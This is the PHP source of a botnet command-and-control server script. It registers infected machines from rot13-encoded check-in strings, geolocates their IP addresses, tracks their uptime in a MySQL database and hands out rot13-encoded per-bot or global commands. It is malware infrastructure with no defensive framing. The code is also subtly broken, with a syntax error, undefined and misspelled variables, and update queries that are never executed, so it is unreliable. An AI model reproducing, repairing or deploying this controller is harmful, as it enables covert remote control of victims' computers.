<?PHP
    // file: info.php

    include("geoip.inc"); // for the geoip function

    function isRowEmpty($row)
    {
        foreach($row as $a)
        {
            if(!empty($a))
            {
            return false;
            }
        }
        return true;
    }

    function sanitize($data)
    {
        // remove whitespaces (not a must though)
        $data = trim($data);

        // apply stripslashes if magic_quotes_gpc is enabled
        if(get_magic_quotes_gpc())
        {
            $data = stripslashes($data);
        }

        // a mySQL connection is required before using this function
        $data = mysql_real_escape_string($data);

        return $data;
    }

    // database connection information
    $database = "database_name";
    $user = "user_name";
    $password = "Pa$$worD";
    $host = "localhost";

    // connect to the database
    $mysql = mysql_connect( $host, $user, $password );
    mysql_select_db( $database );

    /*

    $sql = "CREATE TABLE IF NOT EXISTS `clients` (
    `id` bigint(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
    `registered_time` TIMESTAMP NOT NULL,
    `serial` varchar(25) NOT NULL,
    `comp_name` varchar(128) NOT NULL,
    `os` varchar(5) NOT NULL,
    `delay` bigint(20) NOT NULL,
    `report_time` TIMESTAMP NOT NULL,
    `lastorder_id` bigint(10),
    `uptime` varchar(128) NOT NULL,
    `online_uptime` tinyint(3) DEFAULT 0,
    `ip` varchar(15) NOT NULL,
    `country_code` varchar(5) NOT NULL,
    `country_name` varchar(20) NOT NULL,
    `version` varchar(10) NOT NULL
    ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1";
    $result = mysql_query( $sql );

    $sql = "CREATE TABLE IF NOT EXISTS `global_orders` (
    `id` bigint(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
    `order` varchar(128),
    `order_time` TIMESTAMP NOT NULL,
    `exp_date` DATE NOT NULL
    ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1";
    $result = mysql_query( $sql );

    $sql = "CREATE TABLE IF NOT EXISTS `orders` (
    `id` bigint(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
    `clientid` bigint(20) unsigned NOT NULL,
    `order` varchar(128),
    `order_time` TIMESTAMP NOT NULL
    ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1";
    $result = mysql_query( $sql );

    */
    // decrypted buffer in this format h6Yht56RfT:UncleBoB-PC:WIN7:50000:m1.0:7653332:22
    //                                  $serial:$comp_name:$os:$delay:$version:$uptime:$lastorder_id

    $buffer_crypted = sanitize($_GET['sid']);
    $buffer_clear = str_rot13($buffer_crypted);
    $serial = strtok($buffer_clear, ":");
    $comp_name = strtok(":");
    $os = strtok(":");
    $delay = strtok(":");
    $version = strtok(":");
    $uptime = strtok(":");
    $lastorder_id = strtok(":");
    $ip = getenv("REMOTE_ADDR");

    // sanitize ints
    $delay = intval($delay);
    $uptime = intval($uptime);
    $lastorder_id = intval($lastorder_id);

    // format uptime
    $minsuptime = $uptime % 60;
    if ( $minsuptime > 1 ) $minsuptime = $minsuptime." Minutes";
    else $minsuptime = $minsuptime." Minute";

    $hoursuptime = $uptime / 60 % 24;
    if ( $hoursuptime > 1 ) $hoursuptime = $hoursuptime." Hours";
    else $hoursuptime = $hoursuptime." Hour";

    $daysuptime = $uptime / 60 / 24 % 7;
    if ( $daysuptime > 1 ) $daysuptime = $daysuptime." Days";
    else $daysuptime = $daysuptime." Day";

    $weeksuptime = $uptime / 60 / 24 / 7 % 52;
    if ( $daysuptime > 1 ) $weeksuptime = $weeksuptime." Weeks";
    else $weeksuptime = $weeksuptime." Week";

    $uptimeformated = $weeksuptime.", ".$daysuptime.", ".$hoursuptime.", ".$minsuptime;

    // geolocate IP
    $gi = geoip_open("GeoIP.dat",GEOIP_STANDARD);
    $country_code = geoip_country_code_by_addr($gi, $ip);
    $country_name = geoip_country_name_by_addr($gi, $ip);
    geoip_close($gi);

    if( $serial != NULL ) // // populate SQL clients table
    {
        $sql = "SELECT * FROM clients WHERE serial LIKE '$serial'";
        $result = mysql_query( $sql );
        if( mysql_num_rows( $result ) ) // checks if 'clients' table has a row with the matching id
        {
            // calculate the online_uptime %

            /*
            1st connect ( time = a ) // bot has been online for 0
            registered_time = a
            report_time = a
            online_uptime = 0

            2nd connect ( time = b ) // bot has been online for ( b - a )
            registered_time = a
            report_time = b
            online_uptime = previous online_uptime(0) + (b - a)

            3rd connect ( time = c ) // bot has been online for ( (b - a) + ( c - b )
            registered_time = a
            new report_time = c
            online_uptime = previous online_uptime(b-a) + ( new report_time(c) - previous report_time(b) )
            */

            $row = mysql_fetch_assoc( $result );
            $cumulative_uptime = $row['online_uptime'] + $report_time - $row['report_time']; // cumulative client uptime
            $sql = "SELECT create_time FROM INFORMATION_SCHEMA.TABLES WHERE table_name = 'clients'";
            $result = mysql_query( $sql );
            $row = mysql_fetch_row( $result ); // stores 'clients' table creation time
            $table_uptime = time() - strtotime($row[0]); // total uptime

            $online_uptime = ( 1 - ( ( $table_uptime - $cummulative_uptime ) / $table_uptime ) ) * 100; // uptime in %

            // uptate client information
            $sql = "UPDATE clients SET report_time=NULL, version='$version', online_uptime='$online_uptime', uptime='$uptimeformated', delay='$delay', ip='$ip', country_code='$country_code', country_name='$country_name', lastorder_id='$lastorder_id' WHERE serial LIKE '$serial'";
            $result = mysql_query( $sql );

            // get the id of the client
            $sql = "SELECT * FROM clients WHERE serial LIKE '$serial'";
            $result = mysql_query( $sql );
            $row = mysql_fetch_assoc( $result );
            $clientid = $row['id'];

            // checks the orders table to see if there is a specific order for this client
            $sql = "SELECT * FROM orders WHERE clientid LIKE '$clientid'";
            $result = mysql_query( $sql );
            $row = mysql_fetch_assoc( $result ); // stores the row that contains the order information for that specific client

            if (!isRowEmpty($row) // if there is a specific bot command prints it out
            {
                // echo the command to the client and clear it from the orders table
                echo ">".str_rot13($row['order'])."<\n";
                $id = $row['id'];
                $sql = "DELETE FROM orders WHERE id LIKE '$id'";
                mysql_query( $sql );
            }
            else // grabs the next command it hasn't done in the global_orders table
            {
                // if lastorder_id = 0 then same but no where stuff, just to get the first row of the table
                if ($lastorder_id == 0)
                {
                    $sql = "SELECT * FROM global_orders";
                    $result = mysql_query( $sql );
                    $row = mysql_fetch_assoc( $result ); // stores the first row in global_orders

                    if ( CURDATE() < $row['exp_date'] ) // check if the command is old or not
                    {
                        echo ">".str_rot13($row['order'])."<\n"; // echo the command to the client
                        $sql = "UPDATE clients SET lastorder_id='$row['id']' WHERE serial LIKE '$serial'";
                    }
                }
                else
                {
                    // check if the command is old or not to implement
                    $sql = "SELECT * FROM global_orders WHERE id LIKE '$lastorder_id + 1'";
                    $result = mysql_query( $sql );
                    $row = mysql_fetch_assoc( $result ); // stores the row that contains the order information

                    if ( CURDATE() < $row['exp_date'] ) // check if the command is old or not
                    {
                        echo ">".str_rot13($row['order'])."<\n"; // echo the command to the client
                        $sql = "UPDATE clients SET lastorder_id='$row['id']' WHERE serial LIKE '$serial'";
                    }
                }
            }
        }
        else
        {
            // else insert info into the clients table
            $sql = "INSERT INTO clients ( comp_name, serial, os, ip, country_code, country_name, delay, version, uptime, lastorder_id ) VALUES ( '$comp_name ', '$serial', '$os', '$ip', '$country_code', '$country_name', '$delay', '$version', '$uptimeformated', '$lastorder_id' )";
            if( mysql_query( $sql ) )
                echo ">ADDED<\n"; // allows the client to know it was succesfully added if needed
        }
    }
?>